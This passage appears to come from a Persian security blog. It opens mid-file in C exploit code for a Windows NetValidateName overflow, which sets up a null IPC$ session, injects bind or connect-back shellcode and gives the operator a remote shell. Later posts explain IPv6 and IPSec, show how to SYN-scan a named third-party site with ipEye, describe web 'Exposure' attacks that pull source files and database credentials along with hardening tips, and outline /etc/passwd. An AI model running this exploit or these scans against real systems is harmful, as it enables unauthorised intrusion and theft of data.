for (i=0;i<sizeof(targets)/sizeof(v);i++) {
printf("%d) %s",i+1,targets[i].os);
printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll);
}
exit(0);
}

void sendstr(char *host) {

WCHAR wStr[128];
char ipc[128], hStr[128];

DWORD ret;
NETRESOURCE NET;

hMod=LoadLibrary("netapi32.dll");
fxn=GetProcAddress(hMod,"NetValidateName");

_snprintf(ipc,127,"\\\\%s\\ipc$",host);
_snprintf(hStr,127,"\\\\%s",host);
MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0]));

NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;

printf("-> Setting up $IPC session...(aka 'null session')\n");
ret=WNetAddConnection2(&NET,"","",0);

if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$ connection..."); }
else printf("-> IPC$ session setup successfully...\n");

printf("-> Sending exploit string...\n");

ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);

}

VOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) {
err_exit("-> I give up...dude.....");
}

void setalarm(int timeout) {

MSG msg = { 0, 0, 0, 0 };
SetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell);

while(!alarm_fired) {
if (GetMessage(&msg, 0, 0, 0) ) {
if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n");
DispatchMessage(&msg);
}
}

}

void resetalarm() {
if (TerminateThread(t2,0)==0) {
err_exit("-> Failed to reset alarm...");
}
if (TerminateThread(t1,0)==0) {
err_exit("-> Failed to kill the 'sending' thread...");
}
}

void do_send(char *host,int timeout) {
t1=(HANDLE)_beginthread(sendstr,0,host);
if (t1==0) { err_exit("-> Failed to send exploit string..."); }
t2=(HANDLE)_beginthread(setalarm,0,timeout);
if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}

int main(int argc, char *argv[]) {

char opt;
char *host, *ptr, *ip="";
struct sockaddr_in sockadd;
int i, i_len, ok=0, mode=0, flag=0;
int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
int target=TARGET, scsize=SC_SIZE_1, port=PORT;
int timeout=TIME_OUT, interval=INTERVAL;
long retaddr;

WSADATA wsd;
SOCKET s1, s2;

if (argc<2) { usage(argv[0]); }

while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) {
switch(opt) {
case 'a':
align=atoi(optarg);
break;

case 'I':
interval=atoi(optarg);
break;

case 'T':
timeout=atoi(optarg);
break;

case 't':
target=atoi(optarg);
retaddr=targets[target-1].jmpesp;
break;

case 'i':
ip=optarg;
changeip(ip);
break;

case 'l':
mode=1;
scsize=SC_SIZE_2;
break;

case 'r':
retsize=atoi(optarg);
break;

case 's':
sc_offset=atoi(optarg);
break;

case 'h':
ok=1;
host=optarg;
sockadd.sin_addr.s_addr=inet_addr(optarg);
break;

case 'p':
port=atoi(optarg);
break;

case 'H':
showtargets();
break;

default:
usage(argv[0]);
break;
}
}

if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }

memset(buff,NOP,BSIZE);

ptr=buff+align;
for(i=0;i<retsize;i+=4) {
*((long *)ptr)=retaddr;
ptr+=4;
}

if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
err_exit("-> WSAStartup error....");
}

if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
err_exit("-> socket() error...");
}
sockadd.sin_family=AF_INET;
sockadd.sin_port=htons((SHORT)port);

ptr=buff+retsize+sc_offset;

if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");

banner();

if (mode) {

printf("-> 'Listening' mode...( port: %d )\n",port);

changeport(connback, port, PORT_OFFSET_2);
for(i=0;i<scsize;i++) { *ptr++=connback[i]; }

do_send(host,timeout);
Sleep(1000);

sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
i_len=sizeof(sockadd);

if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {
err_exit("-> bind() error");
}

if (listen(s1,0)<0) {
err_exit("-> listen() error");
}

printf("-> Waiting for connection...\n");

s2=accept(s1,(struct sockaddr *)&sockadd,&i_len);

if (s2<0) {
err_exit("-> accept() error");
}

printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr));

resetalarm();
doshell(s2);

}
else {

printf("-> 'Connecting' mode...\n",port);

changeport(bindport, port, PORT_OFFSET_1);
for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }

do_send(host,timeout);
Sleep(1000);

printf("-> Will try connecting to shell now....\n");

i=0;
while(!flag) {
Sleep(interval*1000);
if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
printf("-> Trial #%d....\n",i++);
}
else { flag=1; }
}

printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port);

resetalarm();
doshell(s1);

}

return 0;

}
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 راهنماي دستور man

Name



man - برای
نمایش فایل های راهنمای دستورات



SYNOPSIS



man {command}



Description



با استفاده از
این دستور میتوانید اطلاعاتی در مرود دستورات مختلف سایت بدست آورید.
به خاطر داشته باشید هموارد با زدن کلید های
ALT + C
می توانید نشانگر کی بورد را در فیلد دستورات بالای هر صفحه قرار دهید و
دستورات لازمه را وارد کرده و روی کلید
ENTER بزنید



Options



{command} نام
دستور را در این قسمت بنویسید دستورهای موجود



view, print, download, 1337, ping, trace



Examples



man view



Author



Pi3cH



Reporting bugs


|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 IPV6 -قسمت دوم
در بخش اول اين مقاله درباره نقش يك پروتكل اينترنتي و نحوه به وجود آمدن IPV6 بحث كرديم. در اين بخش از مقاله درباره برخي فرمها و ويژگيهاي اين پروتكل بحث خواهيم كرد.

كارايي

شبكه هاي LanوWan با سرعت 100Mbps باسرعت در حال بالابردن سرعت و كيفيت به سوي پهناي باند Gigabit در حركت مي باشند با اين سرعت ها و افزايش بار روي اينترنت، وجود مسيريابها با قابليت هاي خاص همچنان در وضعيت بحراني است. مسيريابها بايد قادر به پردازش اطلاعات، انتقال اطلاعات با سرعت بالا باشند در عين حال كه ترافيك را در مسير هاي مختلف كنترل مي كنند.



ساختار IPv6 با الزامات كارايي به گونه اي طراحي شده كه نيازمنديهاي ما را پوشش مي دهد:



اطلاعات موجود در هدر Ipv6 كمتر از IPV4 است قابليت هاي IPv6 به صورت جداگانه از هدر و بين هدر Ipv6 و لايه انتقال قرار دارد، بيشتر قابليت هاي هدرها توسط مسيريابهايي كه در مسير انتقال packet وجود دارند بررسي نمي شوند، اين امر باعث بالارفتن سرعت پردازش IPv6 نسبت به IPv4 توسط مسيريابها مي شود.
هدر Packet هاي Ipv6 داراي طول هاي ثابت هستند درحاليكه هدر packet هاي IPv4 داراي طول هاي متغير مي باشد در اين حالت طراحي IPv6 به صورت پردازش يكسان صورت پذيرفته است.
مسيريابهايي كه با Ipv6 كار مي كنند قادر به تكه كردن packet ها نمي باشند اگرچه در IPv4 مسيريابها قادر به تكه كردن packet ها بوده اند،IPv6 تنها زماني اين اجازه را به شماره مي دهد كه تكه شدن packet ها در مبدا صورت گيرد يعني جايي كه packet ساخته شده است.
سرويسهاي شبكه

IPv6 بايد قادر باشد كلاسهاي هر سرويس خاص را مشخص كند تا الويت بندي براي انتقال اطلاعات صورت گيرد به عنوان مثال اگر سرويس وب كه روي پورت 80 كار مي كند روي شبكه داريم ،IP بايد توانايي مشخص كردن اين سرويس را روي packet ها داشته باشد تا براي انتقال اطلاعات بتواند الويت بندي كرده تا در اين الويت بيندي packet هاي مربوط به video,voice كه بايد سريعتر انتقال يابند مشخص شوند به اين صورت سرعت بالاتر رفته و از ترافيك كاسته مي شود.



قابليت انعطاف آدرس دهي

IPv4 بهترين راه حل براي آدرس دهي هايUnicast بوده است در حاليكه درIpv6 اين قابليت به آدرس دهي Anycast تغيير يافته است.



توانايي هاي امنيتي

Ipv4 هيچگونه توانايي امنيتي در هيچ سطحي اعمال نمي كند تنها در يك ارتباط end to end در سطح استفاده كه اين فرم از امنيت، فرم استانداردي براي سرويس هاي امنيتي IP با قابليت هاي خاص نمي باشد به عنوان مثال سرويس امنيتي Ip با ايجاد شبكه هاي امن مجازي ارتباط شبكه را با اينترنت فراهم مي كنند و برعكس.IPv6 شامل خصيصه هايي ازجمله شناسايي مي باشد كه امنيت را تا حدودي تامين مي كند.



)فرم كلي ipv6)





IPv6 Header : هدر Ipv6 با طول ثابت 40 octet در مقايسه با هدر Ipv4 با طول 20 octet

Extension Header : هدر اضافي با مشخصات زير:



تنظيمات مسير به مسير هدر:مشخص كننده تنظيمات خاصي كه براي پردازشهاي مسير به مسير در عبور از مسيريابها لازم ميباشد.
هدر مسيريابي:فراهم كننده مسيريابي گسترده شبيه مسيريابي مبدا در IPv4
هدر جداسازي:شامل جداسازي و دوباره سازي اطلاعات
هدر شناسايي: فراهم كننده درستي و بي عيبي Packet ها همچنين شناسايي وتصديق آنها
هدر بسته بندي امنيتي: فراهم كننده امنيت
تنظيمات هدر مقصد: شامل اطلاعات انتخابي براي بازرسي يا بررسي ايستگاه مقصد


طبق استاندارد Ipv6 پيشنهاد شده است زماني كه از چندين هدر اضافي استفاده مي كنيد ترتيب زير را در نظر داشته باشيد:



هدر IPv6 : هميشه بايد اول ظاهر شود
تنظيمات مسير به مسير هدر
هدر تنظيمات مقصد: :براي انتخاب(تنظيمات) پردازشهاي انجام شده بوسيله اولين ايستگاه كه در فيلد آدرس مقصد IPv6 ظاهر مي شود به اضافه مقصد هاي بعدي كه در هدر مسيريابي ليست شده اند.
هدر مسيريابي
هدر جداسازي
هدر شناسايي
هدر بسته بندي امنيتي
هدر تنظيمات مقصد: براي انتخاب(تنظيمات) پردازشهاي انجام شده بوسيله مقصد نهايي packetها
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
  IPV6
قسمت اول : نقش يك پروتكل اينترنتي : چگونگي ايجاد IPv6
نقش يك پروتكل اينترنتي

با تغيير ماهيت اينترنت و شبكه هاي تجاري، IP موجود كه ستون فقرات شبكه هاي TCP/IP را تشكيل مي داد رو به منسوخ شدن و كهنگي مي رفت.در گذشته از اينترنت براي انتقال فايل ها، نامه هاي الكترونيكي و دسترسي از راه دور به وسيله Telnet استفاده مي شد اما امروزه در اينترنت شاهد فزوني برنامه هاي صوتي و تصويري ، نرم افزارهاي كاربردي توانمند هستيم كه باعث جلب محبوبيت و جذابيت وب شده اند. كمپانيها با ايجاد شعبه هاي مختلف مجموعه اي از محيط هاي Client/Server تحت شبكه به وجود آوردند كه باعث افزايش روز افزون اينترانت ها شد، تمام اين توسعه ها باعث كاهش تواناييهاي شبكه هاي بر پايه IP شده و شبكه ها نياز به پشتيباني ترافيك هاي فوري ، كنترل انعطاف پذيري تراكم ترافيك ها و ايجاد خصوصيات امنيتي پيدا كردند، اين توسعه و نيازها موجب به اتمام رسيدن طول عمر آدرس دهي هاي موجود طبق IPv4 شد.

خيلي زود آدرس دهي جديدي جايگزين آدرس دهي قديم شد كه IPv6 نام گرفت. آدرس دهي Ip باعث ايجاد ارتباط سيستم ها از طريق شبكه هاي مختلف مي شود در نتيجه كليه ايستگاه ها و مسيرياب ها به داشتن يك آدرس ملزم مي شوند تا به ايجاد ارتباط بين آن ها منتهي شود.

Router (مسير ياب) بايد قادر باشد اطلاعات شبكه هاي مختلف را با ساختارهاي مختلف انتقال داده و به مقصد مورد نظر بفرستد، اين امر مستلزم فراهم آوردن سرويس هاي زير مي باشد:

· نماي آدرس دهي : همه شبكه ها از يك ساختار هماهنگ براي آدرس دهي استفاده نمي كنند به عنوان مثال يك شبكه IEEE 802.3 با 16bit or 48bit فضاي آدرس دهي ، يك شبكه X.25 با 12 Digit decimal آدرس دهي و...

· بزرگترين اندازه بسته هاي اطلاعاتي : بسته های اطلاعاتی يک شبکه ممکن است به قسمتهای کوچک تر تقسيم شده تا قابل انتقال به شبکه های ديگر باشد « به اين عمل fragmentation مي گويند» به عنوان مثال بزرگترين اندازه بسته های اطلاعاتي برای شبکه های Ethernet 1500بايت می باشد برای شبکه های X.25 1000 است در اين صورت مسيرياب بايد برای انتقال اطلاعات از شبکه های Ethernet به شبکه های X.25 بسته های اطلاعات را به 2 قسمت تقسيم کند.

· رابط هاي شبكه Interfaces)) :ارتباط دهنده های سخت افزاری و نرم افزاری در شبکه های مختلف متفاوت می باشد که مسيرياب بايد قدرت تشخيص اين اختلافات را داشته باشد.

· قابليت اطمينان : سرويسهاي مختلف يك شبكه ممكن است از ابتدا تا انتها به صورت يك سرويس قابل اعتماد در يك حلقه مجازي تا يك سرويس غير قابل اعتماد قابل تغيير باشند. عملكرد يك مسرياب نبايد وابسته به قابليت اعتماد يك شبكه باشد.

در نتيجه اين IP مطمئن نيست چون درستي رسيدن اطلاعات را تضمين نمی کند و مسووليت سالم رسيدن بسته های اطلاعاتي را به پروتکل لايه بالايي (TCP) می سپارد به اين شکل Error recovery توسط TCP صورت می پذيرد اين امر تا حد زيادی قابليـت انعطاف پذيری را فراهم می آورد.



ايجاد يك پروتكل جديد:

وقتي اينترنت روزبه روز رشد کرد و نقايص IPv4 بيشتر آشکار شد برای پاسخ به نيازهای جديد می بايست راهی انديشيده می شد درنتيجه اين درخواست ها IETF ..... در سال 1992 اولين طرح خود را به عنوان IP جديد ارائه داد که پس از طراحی نهايي در سال 1994 بيرون آمد که بعد از آن تغييراتی روی آن داده شد و بالاخره IPv6 نام گرفت. پيشبرد IPv6 بيشتر به خاطر نداشتن محدوديـت های آدرس دهی در IPv4 می باشد که البته اين IP جديد علاوه بر آن قابليت های ديگری هم دارد که به شرح آنها خواهيم پرداخت.

آدرس دهي

با 32 بيت فضای آدرس دهی تنها 2 به توان 32 آدرس مختلف می توان ايجاد کرد که حدود 4 ميليارد آدرس است اين فضای آدرس دهی در اينترنت روبه رشد فضای محدودی است از سال 1980 به بعد دريافتن که ديگر اين مقدار فضا جواب گوی نيازها نيست و در سال 1990 اين مشکل به طور آشکار نمايان شد. دلايل نامناسبی 32 بيـت فضای آدرس دهی به شرح زير می باشد:



· دوساختار از IP Address شامل Net ID و Host ID که راحت و مناسب است اما با فضای آدرس دهی محدود. يك مرتبه كه به شبكه خود تعدادي از آدرسها را اختصاص مي دهيد براي همه شبكه هاي ميزبان نيز مي توانيد از اين آدرسهاي استفاده كنيد. فضاي آدرس دهي براي آن شبكه ممكن است به صورت گسترده اي استفاده شود البته بدون اينكه شما نگران از دست دادن كارايي آن باشيد.

· اين يك تمرين عمومي براي اختصاص دادن تعدادي از آدرس هاي IP به شبكه هايي مي باشد كه به صورت واقعي به اينترنت متصل مي باشند. اين موضوع براي شبكه هاي مخفي اينترنتي كه تعدادي از اين آدرسها را استفاده مي كنند ، امكان پذير مي باشد. اما براي استفاده از آنها كمي ريسك وجود دارد.

· شبکه ها به سرعت رو به افزايش هستند. اغلب سازمان ها چندين Lan دارند. شبکه های بی سيم به تدريج نقش اساسي يافته اند همچنين رشد اينترنت درسالهای آتي رو به انفجار است.

· افزايش استفاده از TCP/Ip در مناطق جديد خواستار IP های خاص (unique ip address) می باشد. مثل ارتباط نقاط الکترونيکی يا کابل تلوزيون گيرنده ها.....

· به طور کلي دادن يک IP به هر ايستگاه کاری ....

برای داشتن اين آدرس ها Ipv6 از 128 بيت فضای آدرس دهی در عوض 32 بيت استفاده می کند و اين امر فضای آدرس دهی را از 2 به توان 32 به 2 به توان 96 می رساند که البته امن تر و مطمئن تر نيز می باشد.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 IPSec - شرح كامل
سيستم عاملها ميتوانند از اطلاعات شما در پشت ديواري از Permission ها محافظت كننر , ولي وقتي كه اين اطلاعات از طريق شبكه منتقل ميشوند در برابر حملات زير اسيب پذير هستند:
1-Packet Capturing
2-Data Modification
3-Spoofing
4-Password Compromise
5-DoS Attacks
6-Key Compromise
7-Application Layer Attacks
همين دلايل كافي است كه به فكر محافظت از اطلاعاتي باشيد كه در شبكه انتقال داده ميشوند.

IPSec چيست؟
IPSec مجموعه اي از استانداردهاست كه يك راهي را براي Encryption,Authentication& verification يك بسته IP كه قرار است در شبكه عبور كند فراهم ميكند;
Encryption اطلاعات در لايه 2 شبكه , احتياج به اين دارد كه Router ها بستهارا Decrypt كنند و دوباره Re-Encrypt كنند (براي تعويض Header & Trailer بسته IP), كه اين يك كار بسيار دشوار است و كلي بار روي Router ميگذارد ولي چون ماهيت IPSec در لايه 3 است پس احتياجي به پشتيباني IPSec در Router نيست و فقت كافي است كه دستگاههاي مبدآ و مقصد IPSec را پشتيباني بكنند
خوب اين هم يك دليل خوب براي بكارگيري IPSec.

IPSec Functions
IPSec Encryption براي محافظت از اطلاعاتي كه بايد در شبكه منتقل شوند بر پايه (DES) Data Encryption Algorithm و (3DES) Triple Data Encryption Algorithm است , اينها هر دو Symmetric Encryption Algorithms محسوب ميشوند به اين معنا كه هر 2 كامپيوتر از يك KEY براي Encrypt و Decrypt استفاده ميكنند هر 2 الگوريتم (DES & 3DES) اطلاعات را با بلاكهاي 64-Bit اي Encrypt ميكنند و فقط 3DES هر بلاك را 3 بار بيشتر Encrypt ميكند (بخاطر امنيت بيشتر).
بخاطر اين Security Function ,encryption زير را فراهم ميكند:
1-Nonrepudiation
2-Authentication
3-Antireplay
4-Packet Filtering
5-Integrity
با Protection Mechanism هاي فوق از روشهايي كه در اول مقاله بيان شد(Spoofing,packet filtering) جلوگيري ميشود و در نهايت يك هكر اگر با يك برنامه Network monitoring بسته اي را Capture كرد در اهداف زير ناكام ميماند:
1-خواندن محتواي بسته (بخاطر اينكه Encrypt شده است )
2-تغيير دادن محتواي بسته(Hash Message Authentication Code)
3- ناكام ماندن در Spoofing (بخاطر Authentication Mechanisms)
4-هكر نميتواند از يك بسته Undecrypted دوباره استفاده كند (بخاطر CBC Mechanism)
5-مانع شدن از Dos Attack (بخاطر Packet Filtering)

IPSec Protocols:

IPSec از 2 پروتكل مختلف براي فراهم كردن درجه امنيت استفاده ميكند:
1-IP Authentication Header-AH
2-IP Encapsulating Security Payload -ESP



Authentication Header:
پروتكل AH در RFC 2402 تعريف شده است و براي فراهم كردن Authentication,Antireply& Integrity براي بسته هاي IP طراحي شده است اما AH اطلاعات را Encrypt نميكند و فقط Sign ميكند(پس براي امنيت بيشتر انرا بايد با ESP بكار برد);
AH اين اطمينان را به شما ميدهد كه محتواي بسته IP را نميتوان تغيير داد, در غير اين صورت بسته IP وقتي به گيرنده برسد بي اعتبار شناخته ميشود, ولي هكر ميتواند به راحتي محتواي بسته را به راحتي بخواند.
يك بسته IP AH به شكل زير ميباشد:

ياد اور ميشوم كه قسمت Sign شده را نميتوان تغيير داد, در غير اين صورت بسته IP وقتي به گيرنده برسد بي اعتبار شناخته ميشود.
AH Header Format هم به شكل زير ميباشد:

IP Encapsulation Security Payload :
پروتكل ESP دقيقآ براي Encryption اطلاعات در يك بسته IP طراحي شده است و همچنين Authentication,Antireply & Integrity,
همه اطلاعات بسته IP با ESP Header & ESP Trailer,
Encrypt ميشود و ESP از خوانده شدن محتواي بسته IP جلوگيري ميكند;
يك بسته IP ESP به شكل زير ميباشد:

در شكل فوق ميبينيد كه IP Header نه Sign شده و نه Encrypt پس بنابراين براي امنيت بيشتر بايد از ESP & AH در كنار هم استفاده كرد.
و Format يك ESP Message به شكل زير ميباشد:

پس در مجموع براي امنيت بيشتر بسته IP , بايد AH & ESP را با هم بكار برد.


Transport Mode & Tunnel Mode:
Transport Mode براي شبكه LAN & Private Wan Link استفاده ميشود ولي اگر بخواهيم فرضآ يك VPN داشته باشيم براي امنيت بيشتر IPSec را در Tunnel Mode استفاده ميكنيم مثل L2TP/IPSec.

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 ipEye
- چگونه از ipEye برای پورت اسکنينگ استفاده کنيم؟

با تايپ ipEye در command prompt اين نتايج ظاهر می‌شود:
ipEye 1.2 - © 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu) - http://ntsecurity.nu/toolbox/ipeye/ Error: Too few parameters. Usage: ipEye <target IP> <scantype> -p <port> [optional parameters] ipEye <target IP> <scantype> -p <from port> <to port> [optional parameters] <scantype> is one of the following: -syn = SYN scan -fin = FIN scan -null = Null scan -xmas = Xmas scan>br> (note: FIN, Null and Xmas scans don"t work against Windows systems. [optional parameters] are selected from the following: -sip <source IP> = source IP for the scan -sp <source port> = source port for the scan -d <delay in ms> = delay between scanned ports in milliseconds (default set to 750 ms)

فرض کنيد که می‌خواهيم سايت سازين را از نظر پورت‌ها از پورت ۱ تا ۲۰۰ تست کنيم. اول بايد ip آن را به دست بياوريم که می‌شود، 63.148.227.65 و حالا به کمک دستور زير آن را بررسی می‌کنيم:
ipeye 63.148.227.65 -syn -p 1 200
دقت کنيد که 63.148.227.65 عدد ip سازين، syn- يعنی SYN SCAN و p 1 200- يعنی تست از پورت ۱ تا ۲۰۰ باشد. البته پارامترهای ديگری را هم می‌شود ست کرد که فعلا به درد ما نمی‌خورد. با اجرای اين دستور به نتايج زير می‌رسيم:
ipEye 1.2 - © 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu) - http://ntsecurity.nu/toolbox/ipeye/ 1-20 [drop] 21 [open] 22 [closed or reject] 23-24 [drop] 25 [open] 26-52 [drop] 53 [open] 54-79 [drop] 80 [open] 81-109 [drop] 110 [open] 111-142 [drop] 143 [open] 144-200 [drop] 201-65535 [not scanned]
Closed يعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمی‌دهد، Reject يعنی اينکه يک firewall هست که اجازه اتصال به آن پورت را نمی‌دهد، Drop يعنی اينکه يک firewall همه‌چيز را پس‌ می‌زند و يا اصلا کامپيوتری اونور نيست، Open هم که يعنی باز.
در مورد سازين می‌بينيد که از بين پورت‌های ۱ تا ۲۰۰ ، پورت‌های ۲۱، ۲۵، ۵۳، ۸۰، ۱۱۰، ۱۴۳ باز است و می‌توان به‌ آنها telnet کرد. دقت کنيد که تا تمام پورت‌هايی که مشخص شده، تست نشده است، هيچ نتيجه‌ای نشان داده نمی‌شود و يه‌کم صبر می‌خواد.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 Exposure چيست؟
Exposure چیست ؟
Exposure یک دسته از حملات بدست گیری اطلاعات ( Disclosure) می باشد با این تفاوت که در Exposure نفوزگر اطلاعات مورد نظر خود را بصورت یک فایل دانلود می کند. Exposure در روی وب سرور به معنای دانلود کرد سورس صفحات پویا ، فایل های کانفیگ ( جای که تنظیمات وب ذخره می شود) و دیتا بیس ها می باشد البته Exposure در وب به معنای کلی دانلود شدن هر اطلاعاتی ( فایل) از دومین قربانی بصورت غیر قانونی می باشد.به هر صورت Exposure در وب بیشتر در زمینه بدست اوردن صفحات پویا کاربرد دارد. Exposure در اف تی پی هم به معنای بدست اوردن فایل ها یی بجز فایل های Share شده می باشد برفرض دریافت فایل Passwd در لینوکس توسط ا ین دسته حمله ها صورت می گیرد
البته لغتExposure در اف تی پی زیاد استفاده نمی شود.
براي توضيحات بيشتر در مورد حملات Disclosure به آدرس زير رجوع كنيد :
http://forums.persianhacker.net/index.php?showtopic=934

Exposure برای دریافت صفحات پویا
در سرویس دهنده ها ی گوناگون وب همیشه مشکل عدم سازگاری اسکریپت های سمت سرور وجود دارد.استفاده ازنوع خاصی از صفحات پویا در سروری که آنرا پشتیبانی نمی کند باعث می شود سرویس دهند کل فایل را به مرورگر بفرستد که دراینصورت بعضی از مرورگر ها یه کاربر هشدار می دهند که وب سرور در حال فرستادن یک فایل به کامپیوتر می باشد.دقیق تر بررسی می کنیم که چه روندی طی می شود تا یک فایل لز سایت آسیب پذیر خود به خود به مرورگر منتقل می شود.در ابتدا مرورگر از سایت صفحه ی خاصی را درخواست می کند. صفحه ی درخواستی داری پیوند به یک صفحه ی پویا می باشد.برنامه نویسی که این صفحه را طراحی کرده است انتظار داشته تا با ارجاع دادن اطلاعات توسط یک لینک به صفحه ی پویا
اطلاعات توسط صفحه پویا پردازش شوند اما به علت آنکه وب سروری که سایت در آن قرار دارد آن نوع صفحه ی پویا را پشتیباتی نمی کند پس سرویس دهنده ی وب با صفحه ی پویا مانند یک فایل ناشناخته برخورد می کند وطبق درخواست ( از طریق پیوند) فایل نا شناخته را ( که دسترسی آن بصورت پیشفرض محدود نشده) به مرورگر می فرستد دقیقا ماند آنکه شما توسط یک پیوند فایل خاصی را بخواهید از سایت دانلود کنید.

حملات Exposure چگونه صورت می گیرند ؟
همیشه Exposure به واضحی فوق نمی باشد به این معنی که ممکن است کاربری که از سایت استفاده ی عادی می کند براحتی با صفحات پویا کار کند و به کد هیچکدام از آنها دسترسی نداسته باشد ولی باز هم به علت تنظیمات نادرست نفوزگر می تواند از حفره های موجود استفاده کرده و صفحات پویا را بدست آورد.برای بدست آوردن صفحات پویا نفوزگر ابتدا لیستی از دایرکتوری های وب بدست می آورد معمولا از حفره های سرویس Webdav هم استفاده می شود. اکنون سعی می کند نقشه ای از طرح سطحی سایت بدست بیاورد بعد از بدست آوردن نقشه ی سطحی سایت سعی می کند توسط دستورات گوناگون اچ تی تی پی (از طریق Achilles و یا استفاده از URL ) صفحات پویا را بدست آورد.

یک نفوزگر چگونه با استفاده از Exposure حمله می کند ؟
بعد از بدست آوردن فایل های صفحات پویا نفوزگر نقشه ی زیر ساخت سایت را بدست می آورد و تکمیل می کند.
همانطورکه می دانید سایت ها برای ذخیره سازی اطلاعات از 3 روش می تواند استفاده کنند :
1- استفاده از فضای دومین و اف تی پی ( یا از طریق ظبط فایل های نوشتاری و یا از طریق پایگاه داده ای که بصورت لوکال ایجاد و ذخیره می شود )
2- استفاده از پایگاه داده سرور ( استفاده از سروریس دهندگانی مانند SQL Server و یا Oracle )
3- استفاده از منابع خارجی ( Mailto و Virtual Space و .... )
سایت آسیب پذیر برای ذخیره سازی :
اگر از روش اول استفاده کند نفوزگر آدرس لوکال محل ذخیره سازی اطلاعات را براحتی پیدا می کند و آنرا دانلود می کند و یا اگر دسترسی به فایل محدود باشد از روش های دیگر با استفاده ار اطلاعات بدست آمده از طرح زیر ساخت سایت به منبع اطلاعلتی دسترسی پیدا می کند
اگر از روش دوم برای ذخیره سازی استفاده کند نفوزگر فایلی که در آن پسورد و ای دی و مشخصات سرور پایگاه داده ذخیره شده است بدست می آورد و براحتی با اتصال به اس کیو ال سرور به اطلاعات دسترسی پیدا می کند البته اگر سرور پایگاه داده اجازه دسترسی ریموت را ندهد نفوزگر با گرفتن فضایی اندک و موقتی در هاست سایت آسیب پذیر؛ دسترسی لوکال برای خود ایجاد می کند.

نکته : مسئولین هاستینگ باید بر کاربران خود دقت لازم وکافی داشته باشند زیرا بسیاری از حفره ها فقط با دسترسی لوکال قابل سوءاستفاده هستند علاوه بر آنکه دسترسی لوکال برای خود هاستینگ خطر آفرین است برای کاربران دیگر هم مشکل آساست .

اگر سایت از روش سوم استفاده می کند نفوزگر اطلاعات اتصال ریموت را بدست می آورد و بدین وسیله سعی بر اتصال به منبع اطلاعاتی ریموت می کند.

چگونه سایت خود را از این دسته حملات حفظ کنیم ؟
1-باید سرور امنی را برای هاستینگ سایت خود انتخاب کنید.
2-سعی کنید قبل از انتخاب هاست مشخصات کامل آنرا با نیاز های خود تطبیق دهید.
3-قبل از آپلود کردن فایل های خود در فضای وب حتما با مسئولیت هاست خود در مورد برنامه هایی که در صفحات وب خود بکار بردید صحبت کنید.
4-حتما چندین بار تنظیمات دومین خود را بررسی کنید تا دسترسی های غیر ضروری به فایلی خاص را محدود کنید.
5-حتما فایل های حیاتی که حاوی تنظیمات پایگاه داده می باشند در جایی امن با دسترسی بسیار محدود قرار دهید.
6-سعی کنید تا جای ممکن از فایل های نوشتاری برای ذخیره اطلاعات استفاده نکنید
7-سعی کنید از هاستینگی استفاده کنید که از سرور ها ی پایگاه داده استفاده می کند.
8-حتما بعد از نصب کامل سایت و بعد از هر تغییر در آن خودتان سعی کنید حفره ها ی سایتتان را قبل از آنکه دیر سده باشد پیدا کنید
9-سعی کنید تا جای ممکن از پورتال هایی که بصورت آماده وجود دارند استفاده نکنید و سعی کنید قالب سایتتان را خودتان طراحی کنید و از قالب های از پیش نوشته شده استفاده نکنید.

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 etc/passwd
تو این قسمت در مورد فایل passwd در سیستم های یونیکس یه توضیح مختصری داده می شود
خوب آدرسش که اینه:etc/passwd .
این فایل حاوی یه سری اطلاعات در مورد کاربران و account ها روی یه ماشین یونیکسه.
در واقع این فایل اکانت های روی یه ماشین رو ایجاد / کنترل و مدیریت می کنه. نکته ای که باید مورد توجه قرار بگیره اینه که این فایل با سطح اختیارات ریشه (Root ) قابل ویرایش هست !(البته یه سری راه هم وجود داره که کاربران عادی هم بتونن تغییرش بد ن که جاش ایتجا نیس بگم ولی بعدا می گم .)
خوب همه می دونیم که فایل های passwd خیلی تابلون پس واسه این که از تابلوئی اونا کاسته شه در برخی موارد رمزهای کاربران در یه فایل دیگه به نام shadow (هم اسم منه!) نگه داری می شن.
خوب یه مثال از محتویات یه فایل passwd اینجا می زنم:

QUOTE


root:$1$fgstu12e$hyh5jf4lk0/5ghh87kjfrr/:0:0:root:/root:/bin/bash
bin:*:1:1bin:/bin:
daemnon:*:2:2:daemon:/sbin:
ftp:*:14:50:FTP: USER/home/ftp:/
nobody:*:99:99:Nobody:/:
